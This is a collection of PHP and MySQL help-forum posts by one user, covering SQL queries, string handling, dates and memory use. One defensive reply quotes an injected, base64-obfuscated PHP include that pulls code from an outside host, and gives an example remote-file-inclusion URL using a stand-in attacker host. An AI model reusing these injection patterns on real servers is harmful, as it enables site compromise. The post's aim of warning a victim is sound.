littledragon

Yeah, this makes it a single statement.

And oh, yes check your own computer too

include(base64_decode("aHR0cDovLw==").base64_decode("YWQucnVud2ViLmluZm8=" is attempting to include an external file. This is usually done by saving a php file on their own server with the extension gif so that it gets served out as-is and including it from your server.. all this 'base64_decode' is trying to hide the address of their server from you I have some experience of this... you need to change ALL your passwords, including for any other users on your server. Even once you've done that, check all your scripts for security vulnerabilities since people may have been snooping your source code and could take advantage of it. Make sure no files include $include which is set by $include = $_GET['section'] since this can easily be attacked (yoursite.com?section=http://theirsite.com/dodgyinclude.gif), make sure register_globals is off, and keep a close eye on things for a while I was got by a keylogger in an internet cafe in Brasil (I guess, since the attacks I got afterward were in Portuguese)

Yes, just repeat the VALUES() brackets for each insert, seperated by comma INSERT INTO `database`.`table` ( `col1` , `col2` , ) VALUES ( 'hello', 'hello2' ), ( 'hello3', 'hello4' );

Sorry to do this but amn't getting much further with rtfm... *bump*

In case anyone got to this by googling... I have a much better understanding of how php handles memory now, and an array _will_ be duplicated in memory when you pass it into a function. The way around this (if the array is large enough to worry about) is to pass only the array key you want, or take a (slightly) more object-oriented approach and simply use $GLOBALS['array'] / global $array to prevent duplication (if you're not going to affect the array / you wanted to affect it anyway). If the array ain't that big, it's probably not a big deal (as many people above pointed out to me) but if it's the results of a * query on a sizeable sql db then you start to think about this kind of thing ... Regards all, enjoy this great site ld

agree about the die statement stick the "update supplier_coupon set coup_offer='.... into a variable $query, and if it fails var_dump($query) and look at the syntax so you can see the errors, as well as charlie's suggestion die(mysqli_error($handle))

questions: where does $no_of_bed in for($i=1;$i<=$no_of_bed;$i++) come from? did you var_dump($_POST); ?

oh, I see... sorry didn't look properly check out preg_match_all on php.net... this is definitely a job for regex. you'll be glad you learnt it!

so what does the string look like? ThisIsAStringIWantToExplode or This Is A String I Want To Explode ?

Is there a line break between each set as you're shown? In which case : explode("\n", $string);

I agree, overheads are not really an issue on this site, but it seems silly to go pulling apart and reassembling the arrays to get them all organised by the one field (cos if I do three seperate queries then I get three *seperate* nicely organised arrays rather than one) when I know mysql is capable of doing it for me And also, I'd like to know how to do it

Yeah, but I want it to be ordered by basename across all tables, so some kind of join is needed at basename and then order by it - I just can't find how to do this In any case, if I remove the order clause in the above example I get a NULL result, even though a simple select on any one of the tables yields results for par = a_value Let me know if my problem is still ambiguous

I think you need to stick this.document.form1.ExcelLink.value='off' in the PREVIOUS_PAGE link maybe, since probably the value is still on and that means download? Would be helpful if you could post the js (unless this is all some weird ms object thing where you don't need it?)

Do you need mysql to do the averaging sum, or can you pull the query and do the work afterwards? http://forums.devarticles.com/php-development-48/calculate-average-in-php-6934.html mysql> describe math; +-------+---------------------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +-------+---------------------------+------+-----+---------+----------------+ | id | int(10) unsigned zerofill | | PRI | NULL | auto_increment | | num | int(10) | YES | | NULL | | +-------+---------------------------+------+-----+---------+----------------+ 2 rows in set (0.00 sec) mysql> select * from math; +------------+------+ | id | num | +------------+------+ | 0000000001 | 5 | | 0000000002 | 5 | | 0000000003 | 5 | | 0000000004 | 5 | | 0000000005 | 5 | | 0000000006 | 7 | | 0000000007 | 7 | | 0000000008 | 7 | | 0000000009 | 7 | | 0000000010 | 7 | +------------+------+ 10 rows in set (0.00 sec) mysql> select count(*) as cnt, SUM(num) as sum, (SUM(num)/count(*)) as avg FROM math; +-----+------+------+ | cnt | sum | avg | +-----+------+------+ | 10 | 60 | 6.00 | +-----+------+------+ 1 row in set (0.00 sec)

Hmmm... and if I remove the ORDER BY clause I get NULL (all tables have par = a_value at least once)

Yeah, thanks I did that already

oops

Gnaaagh! That looked so good... error: Column 'basename' in order clause is ambiguous This is my main problem... I need them to be ordered as per 1 column I read about join, lots of examples that don't apply. still reading though

if all the links start with .../, then you need str_replace $str = '<a href="../main_sections/news_archive/artciles/502.htm"> Read more . . .</a>'; $str = str_replace('href="../', 'href="http://othersite.com/', $str); echo $str;

Hi guys, have been googling this for an hour now, not getting anywhere, maybe am getting tired... I have three tables (files, media and content), mostly different except all have the columns id, par, basename, & path I need a single statement where I can select id, basename, path FROM all three tables WHERE par = 'a_value', ORDER BY basename ??? any ideas? _Much_ appreciated! ld

Think it's in the headers, James... is a whole big can o' worms though. You googled this yet? Bet there's a class out there for you to pinch. Try PEAR also. edited - and edited it right back again

PS have a look at the php manual for date functions, it can get a little confusing, but I can do date_default_timezone_set('Europe/London') on my server which is somewhere near Salt Lake US and the time comes out fine. Your equivalent to 'Europe/London' will be in there somewhere. http://br.php.net/manual/en/function.date-default-timezone-set.php

MadTechie - brilliant, why didn't I think of that? benchtesting - OK, but questions (never done it before)... execution time OK, memory usage how? is that number significant? No it isn't is it... I'm just being dumb...

<?php echo date('M j, Y G:i', filemtime('2.jpg')+3600); ?>